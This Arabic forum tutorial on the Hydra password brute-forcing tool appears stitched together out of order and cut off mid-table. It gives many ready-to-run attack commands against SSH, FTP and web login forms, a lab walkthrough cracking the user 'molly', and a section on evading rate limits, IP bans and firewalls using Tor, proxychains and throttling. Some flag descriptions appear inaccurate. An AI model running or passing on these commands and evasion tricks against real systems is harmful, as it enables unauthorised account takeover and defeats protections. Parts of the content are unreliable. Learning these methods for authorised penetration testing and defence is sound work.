hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"
يهاجم صفحة تسجيل دخول ترسل الحقول username وpassword عبر POST.

2. http-get-form
كود:
hydra -L users.txt -P passwords.txt target-ip http-get-form "/login?username=^USER^&password=^PASS^:Invalid login"
يهاجم نموذج تسجيل دخول يرسل البيانات في URL.

3. http-cookie
كود:
hydra -L users.txt -P passwords.txt -m "Cookie: sessionid=12345" target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"
استخدام ملف تعريف ارتباط صالح للهجوم على جلسة تسجيل دخول نشطة.

4. http-jwt
كود:
hydra -L users.txt -P passwords.txt -m "Authorization: Bearer <JWT_TOKEN>" target-ip http-post-form "/api/login:user=^USER^&pass=^PASS^:Invalid login"
مهاجمة واجهة API تتطلب JWT.

5. http-header
كود:
hydra -L users.txt -P passwords.txt -m "User-Agent: Mozilla/5.0" target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"
إرسال رأس مخصص مثل User-Agent لتخطي الحظر.

6. http-rest
كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/api/login:{"username":"^USER^","password":"^PASS^"}:Invalid login"
استهداف API RESTful تستخدم JSON.

كيفية تحديد النوع المناسب؟

  • استخدم أدوات مثل Burp Suite أو Fiddler لفحص الطلبات وتحديد الطريقة المستخدمة (GET/POST) وهيكل البيانات (نص عادي، JSON، إلخ).
  • استنادًا إلى نوع المصادقة أو البيانات المرسلة، اختر الخيار المناسب في Hydra.

تخطي جدران الحماية باستخدام Hydra
لتخطي جدران الحماية أثناء استخدام أداة Hydra، يمكننا تعديل الأوامر بإضافة تقنيات مثل ضبط خيارات الشبكة، تقليل أثر الهجمات، واستخدام بروكسيات أو شبكات VPN. سأضع لك جدولًا شاملاً يحتوي على الأوامر المعدلة التي تستخدم تقنيات تخطي جدران الحماية بحالات مختلفة.
الأمرالتقنية المستخدمة لتخطي جدران الحماية
hydra -L users.txt -P passwords.txt -s port -t 16 -w 30 target-ip protocolتقليل الجلسات الموازية (-t 16) وزيادة المهلة (-w 30) لتقليل النشاط المريب على الشبكة الذي قد يتم اكتشافه من قبل جدران الحماية.
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 target-ip protocolاستخدام ميزة إنشاء كلمات مرور مخصصة ديناميكيًا (-x) لتجنب القوائم الثابتة التي قد تُكتشف بسهولة.
hydra -L users.txt -P passwords.txt -s port -I -f -t 4 -w 10 -z target-ip protocolتقليل السرعة باستخدام الخيار -z لجعل الهجوم يبدو أقل نشاطًا.
proxychains hydra -L users.txt -P passwords.txt target-ip protocolتمرير جميع طلبات Hydra عبر بروكسي باستخدام أداة proxychains لتخطي قيود الوصول أو الحظر بناءً على عنوان IP.
torify hydra -L users.txt -P passwords.txt target-ip protocolاستخدام شبكة Tor عبر torify لتجاوز الحظر الجغرافي أو تصفية عناوين IP.
hydra -L users.txt -P passwords.txt -s port -R -w 20 -t 8 -e nsr -o results.txt target-ip protocolالاستفادة من استئناف الهجوم بعد التوقف (-R) لتجنب الكشف الناتج عن زيادة النشاط المفاجئ عند بدء الهجوم مجددًا.
hydra -L users.txt -P passwords.txt -s port -S -d target-ip protocolتمكين وضع التصحيح (-d) لرؤية الأخطاء والتأكد من أن الهجوم يعمل بشكل صحيح أثناء تجنب التنبيهات غير الضرورية.
hydra -L users.txt -P passwords.txt -s port -p proxy-list.txt -M targets.txt protocolاستخدام قائمة بروكسيات (proxy-list.txt) لاستهداف عدة أهداف عبر ملفات متعددة (-M targets.txt) مع تقليل احتمالية الحظر.
hydra -L users.txt -P passwords.txt -t 1 -w 60 target-ip protocolتشغيل جلسة واحدة فقط في كل مرة (-t 1) مع مهلة طويلة (-w 60) لجعل الهجوم بطيئًا جدًا وتجنب الحظر.
hydra -L users.txt -P passwords.txt -S -s port -t 64 -w 5 -vV target-ip protocolتشغيل عدد كبير من الجلسات الموازية (-t 64) مع مهلة صغيرة جدًا (-w 5) لزيادة سرعة الهجوم مع استخدام TLS لتجنب الحظر عن طريق تحليل النصوص غير المشفرة.
hydra -L users.txt -P passwords.txt target-ip protocol -x 6:12:Aa1! -t 4 -w 15إنشاء كلمات مرور ديناميكية تتضمن رموزًا خاصة لتجنب الحظر الذي يعتمد على أنماط الكلمات.
hydra -L users.txt -P passwords.txt -t 8 -W 3 target-ip protocolاستخدام خيار -W لتحديد عدد المحاولات قبل التوقف لفترة لتجنب الكشف عن الهجمات العنيفة.
hydra -L users.txt -P passwords.txt -m proxychains target-ip protocolدمج Hydra مع proxychains لاستخدام عناوين IP ديناميكية متعددة لتخطي القوائم السوداء أو حدود معدل الطلب.
hydra -L users.txt -P passwords.txt -o results.txt -s port -w 10 -f -M targets.txt protocolحفظ النتائج في ملف أثناء استهداف عدة عناوين لتوزيع الهجوم على أهداف متعددة، ما يصعب عملية التتبع.
hydra -L users.txt -P passwords.txt -s port -t 4 -w 30 -z -x 5:8:Aa1 target-ip protocolجعل الهجوم بطيئًا للغاية باستخدام الخيارات -z و-w مع كلمات مرور ديناميكية لتجنب اكتشاف الأنماط الثابتة.
hydra -L users.txt -P passwords.txt -S -I -e nsr -t 16 -w 10 -M targets.txt protocolالجمع بين خيارات متقدمة مثل استئناف الهجوم (-I) واختبار كلمات المرور الديناميكية وتوزيع الأهداف باستخدام ملفات متعددة.
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 -z target-ip protocolتمكين الوضع الصامت وتقليل سرعة الهجوم مع كلمات مرور ديناميكية.

الحمايات الشائعة التي ستواجهها أثناء استخدام Hydra

1 - حدود المحاولات ( Rate Limiting )
جدران الحماية أو الخدمات نفسها تمنع عددًا كبيرًا من المحاولات في وقت قصير مثل السماح بعدد محاولات معين قبل أن يتم حظر عنوان الـIP الخاص بك
2 - حظر عنوان الـIP الخاص بك بسبب النشاط المريب
قد لا يتم حظرك بسبب عدد المحاولات لكن قد يتم حظرك بسبب النشاط المريب كالـrequests الزائدة عن المعدل الطبيعي من نفس العنوان(IP)
3 - استخدام CAPTCHA
الكثير من خدمات الويب الان تستخدم الـ CAPTCHA لحماية المستخدمين من هجمات القوة الغاشمة (Brute Force)
4 - التأخير الديناميكي
وهو أسلوب حماية يمنعك من محاولة تسجيل الدخول لوقت معين بعد كل محاولة فاشلة، فمثلا قمت بمحاولة فاشلة، سيجبرك النظام حينها على أن تنتظر 3 ثواني قبل أن تستطيع إرسال طلب آخر وهذا يعتبر نوع من أنواع الحماية.
5 - القيود الغير اعتيادية على البروتوكولات
بعض البروتوكولات يتم عمل Configuration لها بحيث تقوم بحظر المستخدم أو الحساب أو إيقاف الخدمة أو حتى إرسال إنذار لمدير الشبكة حال وجود نشاط مريب


ما هي الحلول ؟؟
سأعطي أمثلة على البروتوكولات والويب فتابع معي ..
حمايات SSH الشائعة :
1 - حظر IP : قد يتم حظرك بعد عدد محدد من المحاولات
2 - قد يتم رفض الاتصال تماما بعد عدد محدد من المحاولات الفاشلة
تقنايات التخطي :
1 - استخدام وقت تخطي بين المحاولات (Delay) وهذا سيقلل سرعة المحاولات لتجنب الحظر :
كود:
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.10
2 - استخدام عناوين IP متعددة كاستخدام VPN أو Proxy أو Tor بعد كل عدد معين من المحاولات :
كود:
hydra -l admin -P passwords.txt -t 4 -o results.txt -s 22 -e ns -proxy socks5://127.0.0.1:9050 ssh://192.168.1.10
حمايات FTP الشائعة :
1 - قفل الحساب : يتم قفل الحساب الذي تحاول اختراقه بعد عدد محدد من المحاولات
تقنايات التخطي :
1 - تقليل عدد المحاولات لتجنب اكتشاف الهجوم .
كود:
hydra -l user -P passwords.txt -t 1 ftp://192.168.1.20
2 - إنهاء الهجوم بمجرد العثور على الـcreds الصحيحة.
كود:
hydra -l user -P passwords.txt -f ftp://192.168.1.20
حمايات الويب الشائعة :
1 - CAPTCHA : إذا تم اكتشاف العديد من المحاولات يتم تفعيل CAPTCHA
2 - حظر الـIP الخاص بك.
3 - تجميد الحساب المستهدف.
تقنيات التخطي :
1 - تغيير عنوان IP باستمرار باستخدام Proxy أو Tor
كود:
hydra -l admin -P passwords.txt -s 8080 -t 3 -o results.txt -I http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login" -proxy socks5://127.0.0.1:9050
2 - تخطي الحمايات الديناميكية باستخدام التأخير (Delay)
كود:
hydra -l admin -P passwords.txt -w 5 http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"
3 - بعض المواقع تعتمد على هيدرز مثل User-Agent:
كود:
hydra -l admin -P passwords.txt -m /login -H "User-Agent: CustomAgent" http-get://example.com
4 - التبديل بين المستخدمين (Mutual Targeting):
كود:
hydra -L users.txt -P passwords.txt http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"
نصائح لتخطي جدران الحماية أثناء استخدام Hydra :
1 - تقليل عدد المحاولات المتزامنة باستخدام t-
2 - استخدام Proxy أو Tor
3- عمل تأخير باستخدام w-
4 - تحليل الشبكة باستخدام Wireshark أو بدائلها لفهم استجابة الهدف للهجوم
5 - استخدم قوائم مخصصة للهدف بدلا من استخدام قوائم كبيرة (Social engineering)
6 - بعض حمايات الويب تتطلب فهم جيد للويب بطبيعة الحال وهي متغيرة بشكل كبير يصعب جمعه في موضوع واحد ولكنني تكلمت عن بعض هذه الحمايات في هذا التعليق من الرابط التالي


والان!

هل كنت تعلم أن Hydra تمتلك واجهة رسومية ؟!


مشاهدة المرفق 15797

الواجهة الرسومية موجودة بشكل افتراضي في توزيعات اختبار الاختراق
اكتب xhydra في الكالي وستظهر لك 🤡


مصادر ومراجع :
THM
thc-hydra
stationx
Kali Hydra Tool Page
سيتم تحديث هذا الموضوع باستمرار بإذن الله
نرجو من الإخوة الأعضاء إبلاغنا في حال وجدت خطأ إملائي أو تقني أو شيء نسيناه ولم نذكره

إن أحسنت فمن الله وإن أسأت فمن نفسي والشيطان
دمتم هكرجي
الله يعطيك العافيه ويجزيك الخير 🙏ماشاءالله مرجع للجميع ، وشرح كافي ..
 

محتويات الموضوع
1. ما هي Hydra
2. أشهر البروتوكولات التي تدعمها Hydra
3. متطلبات مهمة قبل إكمال القراءة
4. أشهر 10 بروتوكولات ستستهدفها بـ Hydra
5. تثبيت الأداة
6. استخدام الأدة
7. بداية الـDocumentation
8 . الخيارات Flags
9. أوامر جاهزة لاستخدامات متعددة
10. خيارات الويب
11. تفاصيل إضافية تخص الويب
12 - تخطي جدران الحماية
13. محتوى مخفي
14. المصادر والمراجع

مشاهدة المرفق 15619


هي أداة تستخدم من قبل المهاجمين، بغرض كسر كلمات المرور عبر الهجمات العنيفة (Brute Force)، وتعد أداة فعالة وسريعة لتخمين معلومات تسجيل الدخول (Credentials) التي نستخدمها للولوج إلى الأنظمة المختلفة.

تستطيع هذه الأداة أن تُجرِّب قائمة طويلة من كلمات المرور أو معلومات تسجيل الدخول على بعض خدمات المصادقة مثل SSH او FTP أو SNMP وحتى صفحات الويب لتسجيل الدخول.

وفقًا للمستودع الرسمي لأداة hydra ، تمتلك هذه الأداة القدرة على مهاجمة العديد من البروتوكولات، ومنها :
كود:
Asterisk[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]AFP
Cisco AAA
Cisco auth
Cisco enable
CVS
Firebird
HTTP-FORM-GET
HTTP-FORM-POST
HTTP-GET
HTTP-HEAD
HTTP-POST
HTTP-PROXY
HTTPS-FORM-GET
HTTPS-FORM-POST
HTTPS-GET
HTTPS-HEAD
HTTPS-POST
HTTP-Proxy
ICQ
IRC
MEMCACHED
MONGODB
MS-SQL
MYSQL
NCP
NNTP
Oracle Listener
Oracle SID
Oracle
PC-Anywhere
PCNFS
POSTGRES
Radmin
Rexec
Rlogin
Rsh
RTSP
SAP/R3
SNMP v1+v2+v3
SOCKS5
SSHKEY
Subversion
TeamSpeak (TS2)
VMware-Auth
VNC
XMPP





1 - فهم لأساسيات Linux
2 - فهم لأساسيات جمع المعلومات والاستهداف
3 - فهم لأساسيات اختبار اختراق الويب
4 - فهم لأساسيات اختبار اختراق الشبكات وبالتالي يتطلب الأمر معرفة جيدة بعلم الشبكات



بروتوكولات نقل صفحات الويب والنماذج عبر الشبكة وتختلف في جانب الأمان
HTTP/HTTPS
بروتوكول نقل الملفات بين الأنظمة عبر الشبكة.
FTP
بروتوكول اتصال آمن للتحكم عن بعد وإدارة الخوادم.
SSH
بروتوكول إرسال البريد الإلكتروني بين الخوادم.
SMTP
بروتوكولات لاستلام البريد الإلكتروني من الخوادم (IMAP للاتصال المستمر وPOP3 للتنزيل).
IMAP/POP3
بروتوكول مشاركة الملفات والطابعات بين الأنظمة على الشبكة المحلية.
SMB
بروتوكول اتصال سطح المكتب البعيد للوصول إلى أجهزة Windows.
RDP
بروتوكول نصي للتحكم عن بعد في الأجهزة ولكنه غير آمن مقارنة بـ SSH.
Telnet
بروتوكول لإدارة وتخزين بيانات المستخدمين والمعلومات الموزعة.
LDAP
بروتوكول لنقل الصوت والفيديو عبر الإنترنت، ويستخدم في VoIP.
SIP

للحصول على مزيد من المعلومات حول الخيارات الخاصة بكل بروتوكول في Hydra، يمكنك الاطلاع على صفحة أداة Hydra في كالي لينكس.

هذا يُبرز أهمية استخدام كلمة مرور قوية؛ فإذا كانت كلمة مرورك شائعة، ولا تحتوي على رموز خاصة، وليست أطول من ثمانية أحرف، فإنها ستكون عرضة للتخمين.

لذا عند استخدام تطبيق يستخدم كلمة مرور سهلة لتسجيل الدخول، غيّرها من الإعدادات الافتراضية! غالبًا ما تستخدم الكاميرات الأمنية (CCTV) وإطارات العمل على الويب admin كبيانات اعتماد تسجيل الدخول الافتراضية، وهو ما يُعتبر غير آمن بما يكفي.



الأداة تأتي مثبتة بشكل افتراضي في توزيعات اختبار الاختراق مثل Kali Linux ومع ذلك إن كنت تفضل استخدام توزيعات أخرى غير Kali مثل أوبنتو أو فيدورا فقم بتنفيذ الأمر التالي :

كود:
apt install hydra[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
أو

dnf install hydra


كما يمكنك أيضا تنزيل الأداة من المستودع الرسمي من THC-Hydra


Hydra
لها 4 حالات تقريبًا فيما يخص الاستخدام:

1- الحالة الأولى : هي تخمين على كلمة المرور لمستخدم ما لأحد البروتوكولات
2- الحالة الثانية : هي تخمين كلمة السر واسم المستخدم معا لأحد البروتوكولات
3- الحالة الثالثة : هي تخمين كلمة المرور لمستخدم ما لتطبيق ويب
4- الحالة الرابعة : هي تخمين اسم المستخدم وكلمة السر لمستخدم ما في تطبيق ويب
5- يوجد حالة خامسة: وهي تخمين اسم المستخدم فقط ولكنها نادرة نوعًا ما

لنمر سريعًا على هذه الحالات

مشاهدة المرفق 15815

♻️ الحالة الأولى : تخمين كلمة مرور لبروتوكول

المعطيات المطلوبة لهذه الحالة هي كالاتي :

1 - اسم المستخدم (Username)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه

لنعطي مثال على استهداف بروتوكول ssh:

كود:
hydra -l admin -P /path/to/wordlist/thelist.txt 10.10.66.4  ssh

ستلاحظ أخي الغالي استخدامنا لبعض الأعلام(Flags) وهي :

الاستخدام
العلم (Flag)
فلاج يوضع قبل اسم المستخدم المراد مهاجمته
l-
فلاج يوضع قبل مسار قائمة كلمات المرور المراد استخدامها في الهجوم
P-

سأضع أمر توضيح آخر:

كود:
hydra -l some_username -P /some_passlist.txt target_ip protocol

مشاهدة المرفق 15815

♻️ الحالة الثانية : تخمين معلومات تسجيل دخول لبروتوكول (username + password)
ربما لا يكون لديك أي اسم مستخدم لذلك قد تحتاج إلى تخمين أسماء المستخدمين أيضًا، وربما تجد أكثر من اسم مستخدم وتحتاج إلى التخمين عليهم جميعًا
حينها سنقوم بمهاجمة مجموعة من أسماء المستخدمين دفعة واحدة والمتطلبات لا تختلف كثيراً عن الحالة السابقة وهي كالآتي :

1 -مسار قائمة أسماء المستخدمين (Username list file)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه

لنهاجم نفس البروتوكول الذي استخدمناه في المرة الفائتة ولكن هذه المرة باستخدام ملفين، ملف لمهاجمة أسماء المستخدمين و ملف آخر لتجربة الباسسوردات على هذه اليوزرات:

كود:
hydra -L /path/to/usernames.txt -P /path/to/password_list.txt 10.10.66.4 ssh

ستلاحظ أخي الغالي استخدامنا لفلاج جديد وهو L- وهو يدل على أن الهدف ليس مستخدم واحد بل عدة مستخدمين وبالتالي القيمة القادمة بعد هذا الفلاج ستكون مسار ملف لأسماء مستخدمين

مشاهدة المرفق 15815

♻️ الحالة الثالثة : تخمين صفحات تسجيل الدخول (لتطبيقات الويب)
هنا سنستخدم نفس المبدأ ولكن بعد إضافة بعد التعديلات البسيطة وهي ليست معقدة أو صعبة ولا تهتم لكثرة الرموز فالأمر جدًا بسيط
ركز يا حلو في المثال التوضيحي القادم ..

كود:
hydra -l <username> -P <wordlist> 10.10.66.4 http-post-form "<target-Path>:<login_credentials_variables>:<invalid_response>"

لا تكمل الشرح وحاول أن تطبق الأمر بنفسك بما فهمت من المثال التوضيحي(سنشرح بالتفصيل تاليا ولكن حاول), انظر لهذا المثال وحاول أن تفهم دون شرح

كود:
hydra -l admin -P /path/to/wordlist.txt 10.10.66.4 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

الجديد في هذا الأمر هو كالتالي :
الوصف
الفلاج
هذا الخيار يخبر الأداة بأننا سننفذ هجوم على صفحة ويب لتسجيل الدخول
http-post-form
هذا هو مسار صفحة تسجيل الدخول الذي سنهاجمه
login.php/
هذا المتغير هو المتغير الخاص بخانة اسم المستخدم(سنوضح كيف حصلنا عليه لاحقا)
=username
هذه العلامة هي اختصار لكلمة and
&
هذا المتغير هو المتغير الخاص بخانة كلمة المرور(سنوضح كيف حصلنا عليه لاحقا)
=password
هذه الخانات تدل على الأماكن التي ستهاجمها الأداة، بمعنى أنه بدلا من PASS ستضع الأداة تخمينات كلمات المرور وبدلا من USER ستضع الأداة تخمينات اسم المستخدم.
^USER^ , ^PASS^
حرف الـF يرمز لرسالة الخطأ التي ستظهر لك في حال كان المدخل غير صحيح حتى تتجنبها الأداة
F=incorrect

إذا فهمت فكثر الله خيرك وإن لم تفهم بعد فسأشرح بتفصيل أكبر

لم نطبق بشكل عملي بعد

راجع ما ذكرت ثم طبق معي كما أقول تالياً

ببساطة شديدة سنكتب اسم الأداة أولا ومن ثم نضع الفلاج الخاص باسم المستخدم
ثم نكتب اسم المستخدم ومن بعده الفلاج الخاص بقائمة كلمات المرور
ثم نضع عنوان الهدف سواء كان رابط أو عنوان IP
ثم سنضع المعلومات التالية بين علامتي تنصيص ""
بقية رابط صفحة تسجيل الدخول
ثم نقطتان رأسيتان
ثم دالة اسم المستخدم وكلمة المرور ملتصقتين ببعض هكذا
كود:
username=^USER^&password=^PASS^
ثم نقطتان رأسيتان
ثم دالة رسالة الخطأ
كود:
F=incorrect
لنجرب بشكل عملي حتى تصل الصورة بشكل أوضح, لدينا العنوان التالي فلنقم باستهدافه:

كود:
10.10.121.171

لدينا اسم مستخدم اسمه molly, لنفحص الهدف أولًا بالـnmap ونرى:

مشاهدة المرفق 15278
الأمر:

كود:
nmap 10.10.121.171 -vv

بعد الفحص نجد أننا لدينا منفذين مفتوحين هما:
  • 80 http
  • 22 ssh

لنبدأ بالـ ssh, مع العلم أننا لدينا في هذا اللاب اسم مستخدم موجود بالفعل للتجربة

الاسم هو molly
الأمر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.121.171 ssh

مشاهدة المرفق 15279

نجح الهجوم كما نرى والان لنجرب على تطبيق الويب بما أننا لدينا منفذ 80 مفتوح وعليه بروتوكول http
بمجرد أن وضعت عنوان الip في المتصفح أدخلني مباشرة إلى صفحة تسجيل الدخول
مشاهدة المرفق 15280
مشاهدة المرفق 15281
أول ما سنحتاج إلى فعله هو تشغيل أداة Burp حتى نحصل على الركوست الذاهب إلى السيرفر
ملحوظة : قمت بإعادة تشغيل اللاب بسبب مشكلة تقنية وبالتالي سيتغير عنوان الهدف

سنقوم الان بوضع اسم مستخدم وكلمة مرور عشوائيين أثناء عمل الـburp حتى نحصل على الركوست
سنجرب meow كإسم مستخدم و meow2 كرمز سري ونضغط login وننظر إلى الburp
مشاهدة المرفق 15348
كما نرى ظهر لنا الركوست، طبعا عادة الركوستات تكون POST مش GET
إذا طلعلك GET فغالبا إما إنها مصيدة لك أو إن المطور مهرج 🤡
وأحيانا بعض الـforms تحتاج GET و غيرها يعني مش ضروري يكون المطور مهرج
الان كما يظهر لنا في آخر سطر نجد الكود الاتي
كود:
username=meow&password=meow1
هكذا حصلنا على أول ما سنحتاجه
والان سنعمل Forward وننظر إلى رسالة الخطأ التي ستظهر

مشاهدة المرفق 15349
كما نرى ظهرت لنا رسالة الخطأ تحت كلمة login
هذا كل ما سنحتاجه، والان سنكتب الامر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."
مشاهدة المرفق 15350
ملحوظة : بإمكانك إهمال الـ F- إذا أردت، ستعمل الأداة بلا مشاكل ولكن نقوم بتطبيق الـ Best Practice لا أكثر

هكذا نكون قد طبقنا على استهداف مستخدم واحد سواء في الويب أو مع البروتوكولات
إذا أردت أن تستهدف اكثر من اسم مستخدم كل ما ستفعله هو تغيير معرف اسم المستخدم من l- إلى L-
ومن ثم تقوم بإضافة قائمة أسماء المستخدمين، أي أن الأمر سيكون هكذا
كود:
hydra -L /usr/share/wordlists/names.txt -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."

الان لنذهب للخلاصة
كل ما سيأتي هوا عبارة عن documentation تفصيلي للأداة
وتذكر دائما أن الصيغة الأساسية التي سنعتمدها في الشرح هي كالاتي
كود:
hydra -L/-l -P/-p target protocol [options]

إليك جدولًا مفصلًا يحتوي على جميع الخيارات المتوفرة في أداة Hydra مع شرح لكل خيار ..
L-
تحديد ملف يحتوي على قائمة أسماء المستخدمين.
l-
تحديد اسم مستخدم واحد ثابت للهجوم.
P-
تحديد ملف يحتوي على قائمة كلمات المرور.
p-
تحديد كلمة مرور واحدة ثابتة للهجوم.
M-
تحديد ملف يحتوي على قائمة بأهداف متعددة (عناوين IP أو أسماء نطاقات).
s-
تحديد رقم منفذ معين لاستهداف البروتوكولات التي تعمل على منافذ غير افتراضية.
S-
تمكين SSL/TLS لتشفير الاتصال مع البروتوكولات التي تدعمه.
e-
تمكين خيارات كلمات المرور الإضافية:
s-
- s لاختبار اسم المستخدم ككلمة مرور.
n-
- n لاختبار كلمات المرور الفارغة.
r-
- r لاختبار اسم المستخدم وكلمة المرور معًا.
t-
تحديد عدد الجلسات الموازية (threads) للهجوم. القيمة الافتراضية هي 16.
w-
تحديد المهلة (timeout) بالثواني لكل محاولة اتصال.
v-
تمكين الوضع التفصيلي (عرض تفاصيل المحاولات الفاشلة فقط).
V-
تمكين الوضع التفصيلي الكامل (عرض كل المحاولات، الناجحة والفاشلة).
f-
التوقف عند أول محاولة ناجحة.
o-
تحديد ملف لحفظ نتائج المحاولات الناجحة.
I-
تمكين وضع الاستعادة (resume) لاستكمال هجوم توقف فجأة.
R-
استئناف هجوم سابق باستخدام ملف الاستعادة الافتراضي hydra.restore.
z-
تقليل سرعة الهجوم عن طريق إدخال تأخير بين المحاولات (slow attack).
d-
تمكين وضع التصحيح (debug mode) لمراقبة الأخطاء واختبار صلاحية الإعدادات.
W-
تحديد عدد المحاولات قبل التوقف لفترة (delay) لتجنب الحظر (slow brute force).
u-
تخطي الفحص الأولي (skip initial checks) لتسريع الهجوم، ولكن قد يؤدي إلى فشل الاتصال في بعض الحالات.
m-
تمرير خيارات إضافية مخصصة للبروتوكول المستهدف.
T-
تحديد حد زمني (time limit) لكل عملية محاولة.
C-
تحديد ملف يحتوي على تركيبات من أسماء المستخدمين وكلمات المرور (combo file) بدلاً من استخدام ملفات منفصلة.
F-
التوقف فور اكتمال الهجوم على هدف واحد.
h-
عرض صفحة المساعدة لجميع الخيارات المتاحة في Hydra.
O-
تمكين دعم الملفات الضخمة (large file support) لاستخدام ملفات كبيرة جدًا لأسماء المستخدمين أو كلمات المرور.
debug--
تمكين وضع تصحيح إضافي أكثر تفصيلًا للمطورين أو لتشخيص المشكلات.
ignore--
تجاهل فشل الاتصال بالأهداف أثناء الهجوم (ignore connection errors).
http-proxy--
تحديد بروكسي HTTP للمرور عبره أثناء الهجوم.
socks-proxy--
تحديد بروكسي SOCKS4/5 للمرور عبره أثناء الهجوم.
q-
تمكين الوضع الصامت لإخفاء معظم مخرجات الأداة (quiet mode).
continue--
متابعة الهجوم بعد مقاطعة بدون إعادة جميع المحاولات السابقة.
proxy--
تمرير جميع الطلبات عبر بروكسي يدعم HTTP أو SOCKS (مماثل لـ proxychains).
x-
إنشاء كلمات مرور ديناميكية بناءً على معايير:
- min:max طول كلمة المرور (على سبيل المثال: 4:8).
-------------------------
- charset لتحديد الحروف المسموح بها:
- a للأحرف الصغيرة.
- A للأحرف الكبيرة.
- 1 للأرقام.
- ! للرموز الخاصة.
-------------------------
مثال على ذلك :
-------------------------
hydra -l admin -x 6:10:Aa1 target-ip ssh
بالنسبة لشرح الأمر الأخير فهو كالتالي :
6:10 هذا ينشيء كلمات مرور بطول يتراوح بين 6 و 10 خانات
Aa1 يقوم بتحديد مجموعة الأحرف المستخدمة
A الأحرف الكبيرة
a الأحرف الصغيرة
1 الأرقام
----------------
مثال أكثر تعقيدًا مع رموز خاصة:
كود:
hydra -L users.txt -x 8:12:Aa1! target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


  • 8:12: إنشاء كلمات مرور بطول 8 إلى 12 حرفًا.​
  • Aa1!: إضافة الرموز الخاصة (!) إلى مجموعة الأحرف.​

الجدول التالي سيكون فيه أمثلة على جميع حالات استخدام أداة hydra مع الشرح ..
الأمر
الوصف / الشرح
hydra -L users.txt -P passwords.txt target-ip protocol
الصيغة الأساسية: مهاجمة هدف معين مع قائمة أسماء مستخدمين وكلمات مرور باستخدام بروتوكول محدد.
hydra -L users.txt -P passwords.txt -s port target-ip protocol
إضافة خيار المنفذ -s لاستهداف بروتوكول يعمل على منفذ مخصص غير الافتراضي.
hydra -L users.txt -P passwords.txt -S target-ip protocol
استخدام TLS/SSL (تشفير الاتصال) مع البروتوكولات التي تدعمه مثل HTTPS، IMAPS، SMTPS، إلخ.
hydra -L users.txt -P passwords.txt -t 16 target-ip protocol
استخدام 16 جلسة موازية (threads) لتحسين سرعة الهجوم.
hydra -L users.txt -P passwords.txt -e nsr target-ip protocol
اختبار كلمات المرور الفارغة (e) أو اسم المستخدم ككلمة مرور (s) أو كليهما (r).
hydra -L users.txt -P passwords.txt -o results.txt target-ip protocol
حفظ نتائج المحاولات الناجحة في ملف results.txt لمراجعتها لاحقًا.
hydra -l admin -P passwords.txt target-ip protocol
استخدام اسم مستخدم ثابت "admin" بدلاً من قائمة أسماء المستخدمين.
hydra -L users.txt -p password target-ip protocol
استخدام كلمة مرور ثابتة "password" مع قائمة أسماء المستخدمين.
hydra -L users.txt -P passwords.txt -vV target-ip protocol
تمكين الوضع التفصيلي لمراقبة كل محاولة تسجيل دخول ناجحة أو فاشلة.
hydra -L users.txt -P passwords.txt -M targets.txt protocol
استهداف عدة أهداف في وقت واحد مع تحديدها داخل ملف targets.txt.
hydra -L users.txt -P passwords.txt target-ip http-get /path
مهاجمة صفحة تسجيل دخول باستخدام طلب HTTP GET (يُستخدم للواجهات البسيطة).
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:user=^USER^&amp;pass=^PASS^:Login failed"
مهاجمة نموذج تسجيل الدخول باستخدام HTTP POST، مع تحديد الحقول المراد تعبئتها والنص الدال على الفشل ("Login failed").
hydra -L users.txt -P passwords.txt -t 64 -f target-ip protocol
استخدام 64 جلسة موازية (-t 64) والتوقف عند أول محاولة ناجحة (-f).
hydra -L users.txt -P passwords.txt -I target-ip protocol
استخدام وضع الاستعادة (resume mode) لاستكمال المحاولات السابقة في حالة التوقف المفاجئ.
hydra -L users.txt -P passwords.txt -s port -S -t 32 -e nsr -o results.txt target-ip protocol
تجميع الخيارات معًا: استهداف منفذ معين، تمكين SSL، زيادة الجلسات الموازية، اختبار كلمات مرور خاصة، وحفظ النتائج في ملف.
hydra -l admin -P passwords.txt target-ip http-form-get "/admin:user=^USER^&amp;password=^PASS^:Access Denied"
مهاجمة صفحة إدارية مع نموذج تسجيل دخول محدد، والتحقق من نص يدل على فشل المحاولة.
hydra -L users.txt -P passwords.txt -w 30 target-ip protocol
تحديد مهلة (timeout) قدرها 30 ثانية لكل محاولة اتصال.
hydra -L users.txt -P passwords.txt -R target-ip protocol
استئناف هجوم توقف سابقًا باستخدام الملف الافتراضي للحالة (hydra.restore).

خيارات الويب
أداة Hydra تقدم خيارات متعددة لاستهداف صفحات تسجيل الدخول بناءً على طرق الإرسال والبروتوكولات، وتتنوع الاستخدامات بناء على السيناريو ونوع التطبيق المستهدف، لذلك سأقدم لك جميع الخيارات المتاحة مع شرح مفصل.
الحالة
الوصف
http-post-form
مهاجمة صفحات تسجيل الدخول التي تستخدم طريقة POST لإرسال بيانات النموذج. تتطلب تحديد مسار URL، وهيكلة الحقول (مثل username وpassword)، والنص الدال على الفشل.
http-get-form
